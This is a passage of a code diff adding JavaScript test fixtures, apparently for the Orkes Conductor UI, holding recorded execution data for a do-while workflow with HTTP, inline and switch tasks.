rateLimitPerFrequency: 0, + rateLimitFrequencyInSeconds: 0, + workflowPriority: 0, + iteration: 9, + subworkflowChanged: false, + queueWaitTime: 94, + loopOverTask: true, + taskDefinition: null, + }, + { + taskType: "HTTP", + status: "COMPLETED", + inputData: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + _createdBy: "najeeb.thangal@orkes.io", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + referenceTaskName: "http_ref_6__10", + retryCount: 0, + seq: 88, + pollCount: 1, + taskDefName: "http_6", + scheduledTime: 1713413861927, + startTime: 1713413862022, + endTime: 1713413862033, + updateTime: 1713413862022, + startDelayInSeconds: 0, + retried: false, + executed: true, + callbackFromWorker: true, + responseTimeoutSeconds: 0, + workflowInstanceId: "965f1c98-fd3a-11ee-8cfe-9245dc979bb3", + workflowType: "najeeb_test_do_while_iteration", + taskId: "99705490-fd3a-11ee-8cfe-9245dc979bb3", + callbackAfterSeconds: 0, + workerId: "orkes-workers-deployment-d57759b85-h87xg", + outputData: { + response: { + headers: { + "Strict-Transport-Security": [ + "max-age=15724800; includeSubDomains", + ], + Connection: ["keep-alive"], + "Content-Length": ["182"], + Date: ["Thu, 18 Apr 2024 04:17:42 GMT"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + randomInt: 4750, + hostName: "orkes-api-sampler-67dfc8cf58-spxdt", + randomString: "oeenqbhrzifhhetyzpcu", + queryParams: {}, + sleepFor: "0 ms", + apiRandomDelay: "0 ms", + statusCode: "200", + }, + statusCode: 200, + }, + }, + workflowTask: { + name: "http_6", + taskReferenceName: "http_ref_6", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + rateLimitPerFrequency: 0, + rateLimitFrequencyInSeconds: 0, + workflowPriority: 0, + iteration: 10, + subworkflowChanged: false, + queueWaitTime: 95, + loopOverTask: true, + taskDefinition: null, + }, + ], + }, + http_ref_9: { + taskType: "HTTP", + status: "COMPLETED", + inputData: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + _createdBy: "najeeb.thangal@orkes.io", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + referenceTaskName: "http_ref_9", + retryCount: 0, + seq: 90, + pollCount: 1, + taskDefName: "http_9", + scheduledTime: 1713413862163, + startTime: 1713413862244, + endTime: 1713413862258, + updateTime: 1713413862244, + startDelayInSeconds: 0, + retried: false, + executed: true, + callbackFromWorker: true, + responseTimeoutSeconds: 0, + workflowInstanceId: "965f1c98-fd3a-11ee-8cfe-9245dc979bb3", + workflowType: "najeeb_test_do_while_iteration", + taskId: "99945752-fd3a-11ee-8cfe-9245dc979bb3", + callbackAfterSeconds: 0, + workerId: "orkes-workers-deployment-d57759b85-h87xg", + outputData: { + response: { + headers: { + "Strict-Transport-Security": ["max-age=15724800; includeSubDomains"], + Connection: ["keep-alive"], + "Content-Length": ["182"], + Date: ["Thu, 18 Apr 2024 04:17:42 GMT"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + randomInt: 2042, + hostName: "orkes-api-sampler-67dfc8cf58-psd9l", + randomString: "xwadanvnxdolxjqnchsa", + queryParams: {}, + sleepFor: "0 ms", + apiRandomDelay: "0 ms", + statusCode: "200", + }, + statusCode: 200, + }, + }, + workflowTask: { + name: "http_9", + taskReferenceName: "http_ref_9", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + rateLimitPerFrequency: 0, + rateLimitFrequencyInSeconds: 0, + workflowPriority: 0, + iteration: 0, + subworkflowChanged: false, + queueWaitTime: 81, + loopOverTask: false, + taskDefinition: null, + loopOver: [ + { + taskType: "HTTP", + status: "COMPLETED", + inputData: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + _createdBy: "najeeb.thangal@orkes.io", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + referenceTaskName: "http_ref_9", + retryCount: 0, + seq: 90, + pollCount: 1, + taskDefName: "http_9", + scheduledTime: 1713413862163, + startTime: 1713413862244, + endTime: 1713413862258, + updateTime: 1713413862244, + startDelayInSeconds: 0, + retried: false, + executed: true, + callbackFromWorker: true, + responseTimeoutSeconds: 0, + workflowInstanceId: "965f1c98-fd3a-11ee-8cfe-9245dc979bb3", + workflowType: "najeeb_test_do_while_iteration", + taskId: "99945752-fd3a-11ee-8cfe-9245dc979bb3", + callbackAfterSeconds: 0, + workerId: "orkes-workers-deployment-d57759b85-h87xg", + outputData: { + response: { + headers: { + "Strict-Transport-Security": [ + "max-age=15724800; includeSubDomains", + ], + Connection: ["keep-alive"], + "Content-Length": ["182"], + Date: ["Thu, 18 Apr 2024 04:17:42 GMT"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + randomInt: 2042, + hostName: "orkes-api-sampler-67dfc8cf58-psd9l", + randomString: "xwadanvnxdolxjqnchsa", + queryParams: {}, + sleepFor: "0 ms", + apiRandomDelay: "0 ms", + statusCode: "200", + }, + statusCode: 200, + }, + }, + workflowTask: { + name: "http_9", + taskReferenceName: "http_ref_9", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + rateLimitPerFrequency: 0, + rateLimitFrequencyInSeconds: 0, + workflowPriority: 0, + iteration: 0, + subworkflowChanged: false, + queueWaitTime: 81, + loopOverTask: false, + taskDefinition: null, + }, + ], + }, +}; + +export const doWhileSelectionForStatusMapResultMultiDowhile = { + http_ref: { + taskType: "HTTP", + status: "COMPLETED", + inputData: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + _createdBy: "najeeb.thangal@orkes.io", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + referenceTaskName: "http_ref", + retryCount: 0, + seq: 1, + pollCount: 1, + taskDefName: "http", + scheduledTime: 1713413856786, + startTime: 1713413856891, + endTime: 1713413856963, + updateTime: 1713413856891, + startDelayInSeconds: 0, + retried: false, + executed: true, + callbackFromWorker: true, + responseTimeoutSeconds: 0, + workflowInstanceId: "965f1c98-fd3a-11ee-8cfe-9245dc979bb3", + workflowType: "najeeb_test_do_while_iteration", + taskId: "965fb8d9-fd3a-11ee-8cfe-9245dc979bb3", + callbackAfterSeconds: 0, + workerId: "orkes-workers-deployment-d57759b85-h87xg", + outputData: { + response: { + headers: { + "Strict-Transport-Security": ["max-age=15724800; includeSubDomains"], + Connection: ["keep-alive"], + "Content-Length": ["182"], + Date: ["Thu, 18 Apr 2024 04:17:36 GMT"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + randomInt: 8678, + hostName: "orkes-api-sampler-67dfc8cf58-spxdt", + randomString: "mmxpwylvytawptmkxykq", + queryParams: {}, + sleepFor: "0 ms", + apiRandomDelay: "0 ms", + statusCode: "200", + }, + statusCode: 200, + }, + }, + workflowTask: { + name: "http", + taskReferenceName: "http_ref", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + rateLimitPerFrequency: 0, + rateLimitFrequencyInSeconds: 0, + workflowPriority: 0, + iteration: 0, + subworkflowChanged: false, + queueWaitTime: 105, + loopOverTask: false, + taskDefinition: null, + loopOver: [ + { + taskType: "HTTP", + status: "COMPLETED", + inputData: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + _createdBy: "najeeb.thangal@orkes.io", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + referenceTaskName: "http_ref", + retryCount: 0, + seq: 1, + pollCount: 1, + taskDefName: "http", + scheduledTime: 1713413856786, + startTime: 1713413856891, + endTime: 1713413856963, + updateTime: 1713413856891, + startDelayInSeconds: 0, + retried: false, + executed: true, + callbackFromWorker: true, + responseTimeoutSeconds: 0, + workflowInstanceId: "965f1c98-fd3a-11ee-8cfe-9245dc979bb3", + workflowType: "najeeb_test_do_while_iteration", + taskId: "965fb8d9-fd3a-11ee-8cfe-9245dc979bb3", + callbackAfterSeconds: 0, + workerId: "orkes-workers-deployment-d57759b85-h87xg", + outputData: { + response: { + headers: { + "Strict-Transport-Security": [ + "max-age=15724800; includeSubDomains", + ], + Connection: ["keep-alive"], + "Content-Length": ["182"], + Date: ["Thu, 18 Apr 2024 04:17:36 GMT"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + randomInt: 8678, + hostName: "orkes-api-sampler-67dfc8cf58-spxdt", + randomString: "mmxpwylvytawptmkxykq", + queryParams: {}, + sleepFor: "0 ms", + apiRandomDelay: "0 ms", + statusCode: "200", + }, + statusCode: 200, + }, + }, + workflowTask: { + name: "http", + taskReferenceName: "http_ref", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + rateLimitPerFrequency: 0, + rateLimitFrequencyInSeconds: 0, + workflowPriority: 0, + iteration: 0, + subworkflowChanged: false, + queueWaitTime: 105, + loopOverTask: false, + taskDefinition: null, + }, + ], + }, + do_while_ref: { + taskType: "DO_WHILE", + status: "COMPLETED", + inputData: { + number: 10, + _createdBy: "najeeb.thangal@orkes.io", + }, + referenceTaskName: "do_while_ref", + retryCount: 0, + seq: 2, + pollCount: 0, + taskDefName: "do_while", + scheduledTime: 1713413856971, + startTime: 1713413856971, + endTime: 1713413859275, + updateTime: 1713413859060, + startDelayInSeconds: 0, + retried: false, + executed: true, + callbackFromWorker: true, + responseTimeoutSeconds: 0, + workflowInstanceId: "965f1c98-fd3a-11ee-8cfe-9245dc979bb3", + workflowType: "najeeb_test_do_while_iteration", + taskId: "967bcc5a-fd3a-11ee-8cfe-9245dc979bb3", + callbackAfterSeconds: 0, + outputData: { + 1: { + inline_ref: { + result: 1, + }, + switch_ref: { + evaluationResult: ["1"], + selectedCase: "1", + }, + http_ref_3: { + response: { + headers: { + "Strict-Transport-Security": [ + "max-age=15724800; includeSubDomains", + ], + Connection: ["keep-alive"], + "Content-Length": ["180"], + Date: ["Thu, 18 Apr 2024 04:17:37 GMT"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + randomInt: 47, + hostName: "orkes-api-sampler-67dfc8cf58-7ckpj", + randomString: "vxqmzdyagxmexnpbaiqd", + queryParams: {}, + sleepFor: "0 ms", + apiRandomDelay: "0 ms", + statusCode: "200", + }, + statusCode: 200, + }, + }, + http_ref_10: { + response: { + headers: { + "Strict-Transport-Security": [ + "max-age=15724800; includeSubDomains", + ], + Connection: ["keep-alive"], + "Content-Length": ["182"], + Date: ["Thu, 18 Apr 2024 04:17:37 GMT"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + randomInt: 7523, + hostName: "orkes-api-sampler-67dfc8cf58-psd9l", + randomString: "rzlozabxrltfkexdijot", + queryParams: {}, + sleepFor: "0 ms", + apiRandomDelay: "0 ms", + statusCode: "200", + }, + statusCode: 200, + }, + }, + }, + 2: { + http_ref_2: { + response: { + headers: { + "Strict-Transport-Security": [ + "max-age=15724800; includeSubDomains", + ], + Connection: ["keep-alive"], + "Content-Length": ["181"], + Date: ["Thu, 18 Apr 2024 04:17:37 GMT"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + randomInt: 633, + hostName: "orkes-api-sampler-67dfc8cf58-q2zd8", + randomString: "pnnnyucqifmchdazstau", + queryParams: {}, + sleepFor: "0 ms", + apiRandomDelay: "0 ms", + statusCode: "200", + }, + statusCode: 200, + }, + }, + inline_ref: { + result: 2, + }, + switch_ref: { + evaluationResult: ["2"], + selectedCase: "2", + }, + http_ref_10: { + response: { + headers: { + "Strict-Transport-Security": [ + "max-age=15724800; includeSubDomains", + ], + Connection: ["keep-alive"], + "Content-Length": ["182"], + Date: ["Thu, 18 Apr 2024 04:17:37 GMT"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + randomInt: 9295, + hostName: "orkes-api-sampler-67dfc8cf58-tp2s8", + randomString: "bgnycyjkhkdmiqsnjpcm", + queryParams: {}, + sleepFor: "0 ms", + apiRandomDelay: "0 ms", + statusCode: "200", + }, + statusCode: 200, + }, + }, + }, + 3: { + http_ref_1: { + response: { + headers: { + "Strict-Transport-Security": [ + "max-age=15724800; includeSubDomains", + ], + Connection: ["keep-alive"], + "Content-Length": ["182"], + Date: ["Thu, 18 Apr 2024 04:17:37 GMT"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + randomInt: 5570, + hostName: "orkes-api-sampler-67dfc8cf58-nt2wk", + randomString: "sxopfwobgmlbyhectkue", + queryParams: {}, + sleepFor: "0 ms", + apiRandomDelay: "0 ms", + statusCode: "200", + }, + statusCode: 200, + }, + }, + inline_ref: { + result: 3, + }, + switch_ref: { + evaluationResult: ["3"], + selectedCase: "3", + }, + http_ref_10: { + response: { + headers: { + "Strict-Transport-Security": [ + "max-age=15724800; includeSubDomains", + ], + Connection: ["keep-alive"], + "Content-Length": ["182"], + Date: ["Thu, 18 Apr 2024 04:17:37 GMT"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + randomInt: 1008, + hostName: "orkes-api-sampler-67dfc8cf58-nrj8r", + randomString: "drzushsnuxfkfbxjqvfh", + queryParams: {}, + sleepFor: "0 ms", + apiRandomDelay: "0 ms", + statusCode: "200", + }, + statusCode: 200, + }, + }, + }, + 4: { + inline_ref: { + result: 1, + }, + switch_ref: { + evaluationResult: ["1"], + selectedCase: "1", + }, + http_ref_3: { + response: { + headers: { + "Strict-Transport-Security": [ + "max-age=15724800; includeSubDomains", + ], + Connection: ["keep-alive"], + "Content-Length": ["182"], + Date: ["Thu, 18 Apr 2024 04:17:37 GMT"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + randomInt: 3964, + hostName: "orkes-api-sampler-67dfc8cf58-lp2np", + randomString: "qsrrgcyapbgeuoceizaa", + queryParams: {}, + sleepFor: "0 ms", + apiRandomDelay: "0 ms", + statusCode: "200", + }, + statusCode: 200, + }, + }, + http_ref_10: { + response: { + headers: { + "Strict-Transport-Security": [ + "max-age=15724800; includeSubDomains", + ], + Connection: ["keep-alive"], + "Content-Length": ["182"], + Date: ["Thu, 18 Apr 2024 04:17:37 GMT"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + randomInt: 6761, + hostName: "orkes-api-sampler-67dfc8cf58-chmzf", + randomString: "taupmlrpyhpzpsulaxqo", + queryParams: {}, + sleepFor: "0 ms", + apiRandomDelay: "0 ms", + statusCode: "200", + }, + statusCode: 200, + }, + }, + }, + 5: { + inline_ref: { + result: 1, + }, + switch_ref: { + evaluationResult: ["1"], + selectedCase: "1", + }, + http_ref_3: { + response: { + headers: { + "Strict-Transport-Security": [ + "max-age=15724800; includeSubDomains", + ], + Connection: ["keep-alive"], + "Content-Length": ["181"], + Date: ["Thu, 18 Apr 2024 04:17:38 GMT"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + randomInt: 698, + hostName: "orkes-api-sampler-67dfc8cf58-spxdt", + randomString: "aobgjizxlwgiwdasfclh", + queryParams: {}, + sleepFor: "0 ms", + apiRandomDelay: "0 ms", + statusCode: "200", + }, + statusCode: 200, + }, + }, + http_ref_10: { + response: { + headers: { + "Strict-Transport-Security": [ + "max-age=15724800; includeSubDomains", + ], + Connection: ["keep-alive"], + "Content-Length": ["182"], + Date: ["Thu, 18 Apr 2024 04:17:38 GMT"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + randomInt: 6970, + hostName: "orkes-api-sampler-67dfc8cf58-7ckpj", + randomString: "igwwnykfobqdnkxmafab", + queryParams: {}, + sleepFor: "0 ms", + apiRandomDelay: "0 ms", + statusCode: "200", + }, + statusCode: 200, + }, + }, + }, + 6: { + inline_ref: { + result: 1, + }, + switch_ref: { + evaluationResult: ["1"], + selectedCase: "1", + }, + http_ref_3: { + response: { + headers: { + "Strict-Transport-Security": [ + "max-age=15724800; includeSubDomains", + ], + Connection: ["keep-alive"], + "Content-Length": ["182"], + Date: ["Thu, 18 Apr 2024 04:17:38 GMT"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + randomInt: 2489, + hostName: "orkes-api-sampler-67dfc8cf58-psd9l", + randomString: "vbksjctcduvxcucqtykv", + queryParams: {}, + sleepFor: "0 ms", + apiRandomDelay: "0 ms", + statusCode: "200", + }, + statusCode: 200, + }, + }, + http_ref_10: { + response: { + headers: { + "Strict-Transport-Security": [ + "max-age=15724800; includeSubDomains", + ], + Connection: ["keep-alive"], + "Content-Length": ["182"], + Date: ["Thu, 18 Apr 2024 04:17:38 GMT"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + randomInt: 8930, + hostName: "orkes-api-sampler-67dfc8cf58-q2zd8", + randomString: "purhjvrqkogxpcyjifxv", + queryParams: {}, + sleepFor: "0 ms", + apiRandomDelay: "0 ms", + statusCode: "200", + }, + statusCode: 200, + }, + }, + }, + 7: { + http_ref_2: { + response: { + headers: { + "Strict-Transport-Security": [ + "max-age=15724800; includeSubDomains", + ], + Connection: ["keep-alive"], + "Content-Length": ["181"], + Date: ["Thu, 18 Apr 2024 04:17:38 GMT"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + randomInt: 970, + hostName: "orkes-api-sampler-67dfc8cf58-tp2s8", + randomString: "abxkbgqcvgvqnxjcishg", + queryParams: {}, + sleepFor: "0 ms", + apiRandomDelay: "0 ms", + statusCode: "200", + }, + statusCode: 200, + }, + }, + inline_ref: { + result: 2, + }, + switch_ref: { + evaluationResult: ["2"], + selectedCase: "2", + }, + http_ref_10: { + response: { + headers: { + "Strict-Transport-Security": [ + "max-age=15724800; includeSubDomains", + ], + Connection: ["keep-alive"], + "Content-Length": ["182"], + Date: ["Thu, 18 Apr 2024 04:17:38 GMT"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + randomInt: 5965, + hostName: "orkes-api-sampler-67dfc8cf58-nt2wk", + randomString: "cozkeartchukblaomchw", + queryParams: {}, + sleepFor: "0 ms", + apiRandomDelay: "0 ms", + statusCode: "200", + }, + statusCode: 200, + }, + }, + }, + 8: { + http_ref_1: { + response: { + headers: { + "Strict-Transport-Security": [ + "max-age=15724800; includeSubDomains", + ], + Connection: ["keep-alive"], + "Content-Length": ["182"], + Date: ["Thu, 18 Apr 2024 04:17:38 GMT"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + randomInt: 5144, + hostName: "orkes-api-sampler-67dfc8cf58-nrj8r", + randomString: "ffeeyciploflvzcqtrsc", + queryParams: {}, + sleepFor: "0 ms", + apiRandomDelay: "0 ms", + statusCode: "200", + }, + statusCode: 200, + }, + }, + inline_ref: { + result: 3, + }, + switch_ref: { + evaluationResult: ["3"], + selectedCase: "3", + }, + http_ref_10: { + response: { + headers: { + "Strict-Transport-Security": [ + "max-age=15724800; includeSubDomains", + ], + Connection: ["keep-alive"], + "Content-Length": ["182"], + Date: ["Thu, 18 Apr 2024 04:17:38 GMT"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + randomInt: 9726, + hostName: "orkes-api-sampler-67dfc8cf58-lp2np", + randomString: "qmkipozchmypxunkkkzd", + queryParams: {}, + sleepFor: "0 ms", + apiRandomDelay: "0 ms", + statusCode: "200", + }, + statusCode: 200, + }, + }, + }, + 9: { + inline_ref: { + result: 1, + }, + switch_ref: { + evaluationResult: ["1"], + selectedCase: "1", + }, + http_ref_3: { + response: { + headers: { + "Strict-Transport-Security": [ + "max-age=15724800; includeSubDomains", + ], + Connection: ["keep-alive"], + "Content-Length": ["182"], + Date: ["Thu, 18 Apr 2024 04:17:38 GMT"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + randomInt: 1122, + hostName: "orkes-api-sampler-67dfc8cf58-chmzf", + randomString: "qixyannkpllogxldfyqi", + queryParams: {}, + sleepFor: "0 ms", + apiRandomDelay: "0 ms", + statusCode: "200", + }, + statusCode: 200, + }, + }, + http_ref_10: { + response: { + headers: { + "Strict-Transport-Security": [ + "max-age=15724800; includeSubDomains", + ], + Connection: ["keep-alive"], + "Content-Length": ["182"], + Date: ["Thu, 18 Apr 2024 04:17:39 GMT"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + randomInt: 2780, + hostName: "orkes-api-sampler-67dfc8cf58-spxdt", + randomString: "jklxzsbanazwjffbarxi", + queryParams: {}, + sleepFor: "0 ms", + apiRandomDelay: "0 ms", + statusCode: "200", + }, + statusCode: 200, + }, + }, + }, + 10: { + http_ref_2: { + response: { + headers: { + "Strict-Transport-Security": [ + "max-age=15724800; includeSubDomains", + ], + Connection: ["keep-alive"], + "Content-Length": ["182"], + Date: ["Thu, 18 Apr 2024 04:17:39 GMT"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + randomInt: 7706, + hostName: "orkes-api-sampler-67dfc8cf58-7ckpj", + randomString: "wadmrkumznvlcrfbfpoz", + queryParams: {}, + sleepFor: "0 ms", + apiRandomDelay: "0 ms", + statusCode: "200", + }, + statusCode: 200, + }, + }, + inline_ref: { + result: 2, + }, + switch_ref: { + evaluationResult: ["2"], + selectedCase: "2", + }, + http_ref_10: { + response: { + headers: { + "Strict-Transport-Security": [ + "max-age=15724800; includeSubDomains", + ], + Connection: ["keep-alive"], + "Content-Length": ["181"], + Date: ["Thu, 18 Apr 2024 04:17:39 GMT"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + randomInt: 944, + hostName: "orkes-api-sampler-67dfc8cf58-psd9l", + randomString: "piubltpqkibleiqpmeno", + queryParams: {}, + sleepFor: "0 ms", + apiRandomDelay: "0 ms", + statusCode: "200", + }, + statusCode: 200, + }, + }, + }, + iteration: 10, + }, + workflowTask: { + name: "do_while", + taskReferenceName: "do_while_ref", + inputParameters: { + number: 10, + }, + type: "DO_WHILE", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopCondition: + "(function () {\n if ($.do_while_ref['iteration'] < $.number) {\n return true;\n }\n return false;\n})();", + loopOver: [ + { + name: "inline", + taskReferenceName: "inline_ref", + inputParameters: { + evaluatorType: "graaljs", + expression: + "(function () {\n return Math.floor(Math.random() *3) + 1;\n})();", + }, + type: "INLINE", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + { + name: "switch", + taskReferenceName: "switch_ref", + inputParameters: { + switchCaseValue: "${inline_ref.output.result}", + }, + type: "SWITCH", + decisionCases: { + 1: [ + { + name: "http_3", + taskReferenceName: "http_ref_3", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + ], + 2: [ + { + name: "http_2", + taskReferenceName: "http_ref_2", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + ], + }, + defaultCase: [ + { + name: "http_1", + taskReferenceName: "http_ref_1", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + ], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + evaluatorType: "value-param", + expression: "switchCaseValue", + onStateChange: {}, + }, + { + name: "http_10", + taskReferenceName: "http_ref_10", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + ], + evaluatorType: "graaljs", + onStateChange: {}, + }, + rateLimitPerFrequency: 0, + rateLimitFrequencyInSeconds: 1, + workflowPriority: 0, + iteration: 10, + subworkflowChanged: false, + queueWaitTime: 0, + loopOverTask: true, + taskDefinition: null, + loopOver: [ + { + taskType: "DO_WHILE", + status: "COMPLETED", + inputData: { + number: 10, + _createdBy: "najeeb.thangal@orkes.io", + }, + referenceTaskName: "do_while_ref", + retryCount: 0, + seq: 2, + pollCount: 0, + taskDefName: "do_while", + scheduledTime: 1713413856971, + startTime: 1713413856971, + endTime: 1713413859275, + updateTime: 1713413859060, + startDelayInSeconds: 0, + retried: false, + executed: true, + callbackFromWorker: true, + responseTimeoutSeconds: 0, + workflowInstanceId: "965f1c98-fd3a-11ee-8cfe-9245dc979bb3", + workflowType: "najeeb_test_do_while_iteration", + taskId: "967bcc5a-fd3a-11ee-8cfe-9245dc979bb3", + callbackAfterSeconds: 0, + outputData: { + 1: { + inline_ref: { + result: 1, + }, + switch_ref: { + evaluationResult: ["1"], + selectedCase: "1", + }, + http_ref_3: { + response: { + headers: { + "Strict-Transport-Security": [ + "max-age=15724800; includeSubDomains", + ], + Connection: ["keep-alive"], + "Content-Length": ["180"], + Date: ["Thu, 18 Apr 2024 04:17:37 GMT"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + randomInt: 47, + hostName: "orkes-api-sampler-67dfc8cf58-7ckpj", + randomString: "vxqmzdyagxmexnpbaiqd", + queryParams: {}, + sleepFor: "0 ms", + apiRandomDelay: "0 ms", + statusCode: "200", + }, + statusCode: 200, + }, + }, + http_ref_10: { + response: { + headers: { + "Strict-Transport-Security": [ + "max-age=15724800; includeSubDomains", + ], + Connection: ["keep-alive"], + "Content-Length": ["182"], + Date: ["Thu, 18 Apr 2024 04:17:37 GMT"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + randomInt: 7523, + hostName: "orkes-api-sampler-67dfc8cf58-psd9l", + randomString: "rzlozabxrltfkexdijot", + queryParams: {}, + sleepFor: "0 ms", + apiRandomDelay: "0 ms", + statusCode: "200", + }, + statusCode: 200, + }, + }, + }, + 2: { + http_ref_2: { + response: { + headers: { + "Strict-Transport-Security": [ + "max-age=15724800; includeSubDomains", + ], + Connection: ["keep-alive"], + "Content-Length": ["181"], + Date: ["Thu, 18 Apr 2024 04:17:37 GMT"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + randomInt: 633, + hostName: "orkes-api-sampler-67dfc8cf58-q2zd8", + randomString: "pnnnyucqifmchdazstau", + queryParams: {}, + sleepFor: "0 ms", + apiRandomDelay: "0 ms", + statusCode: "200", + }, + statusCode: 200, + }, + }, + inline_ref: { + result: 2, + }, + switch_ref: { + evaluationResult: ["2"], + selectedCase: "2", + }, + http_ref_10: { + response: { + headers: { + 